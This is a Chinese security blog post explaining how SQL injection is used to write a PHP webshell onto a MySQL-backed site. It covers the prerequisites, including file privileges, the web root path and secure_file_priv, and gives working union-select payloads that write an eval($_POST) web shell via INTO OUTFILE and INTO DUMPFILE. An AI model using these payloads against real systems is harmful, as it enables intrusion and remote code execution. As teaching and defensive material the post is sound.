点击蓝字
![8034d1d240748b9f2101afdffe130643.gif](https://img-blog.csdnimg.cn/img_convert/8034d1d240748b9f2101afdffe130643.gif)
关注我们
声明
本文作者:Gality
本文字数:5000
阅读时长:30min
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
前言
最近跟一些同伴分享面试经验时发现,在面那些出名的安全厂商时,面试官很喜欢问os-shell相关的原理,网上的分析杂七杂八,大多是相互抄袭,作者并没有真正去实践这些技术,也缺少对sqlmap源码和其底层原理的分析,希望能通过我的分析,让大家对sql注入写shell相关的原理有透彻的了解
一、
写入Shell的前提
在以下条件满足的情况下,我们可以直接利用sql注入的漏洞来获得一个shell,便于我们后续的攻击:
root权限,需要写文件的权限
select group_concat(user,0x3a,file_priv) from mysql.user;出现Y,这就代表你有文件权限,N就是没有
知道网站的绝对路径
文件不能覆盖写入,所以文件必须为不存在
PHP的GPC关闭,能使用单双引号(需要单引号路径,不能使用0x编码)
–secure-file-priv没有值
show global variables like '%secure_file_priv%';
查看secure-file-priv
对于大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因绝不是因为outfile相对路径无法写shell,而是因为
不知道路径,你的菜刀无法连接
通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写
但如果扩展思路,如果配合任意文件包含的话,我们就可以尝试使用默认的mysql安装路径去包含这个文件执行
–secure-file-priv是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录
secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
因为 secure_file_priv 参数是只读参数,不能使用set global命令修改,需要在my.cnf 或 my.ini,加入
secure_file_priv=''
后重启mysql
magic_quotes_gpc:
为 GPC (Get/Post/Cookie) 操作设置 magic_quotes 状态。当 magic_quotes 为 on,所有的 ' (单引号)、" (双引号)、\(反斜杠)和 NUL's 被一个反斜杠自动转义
该特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除
二、
常规写shell方法
联合查询写shell
当可以使用联合查询时,通过构造类似:
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'#
或者
1' union select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'#
来将shell写入到test.php中,关于outfile和dumpfile的区别,稍微说一下,官方给的解释是:
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
从上图中我们可以清晰的看到,
在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在\n等字符,会自动转义成\\n,也就是会多加一个\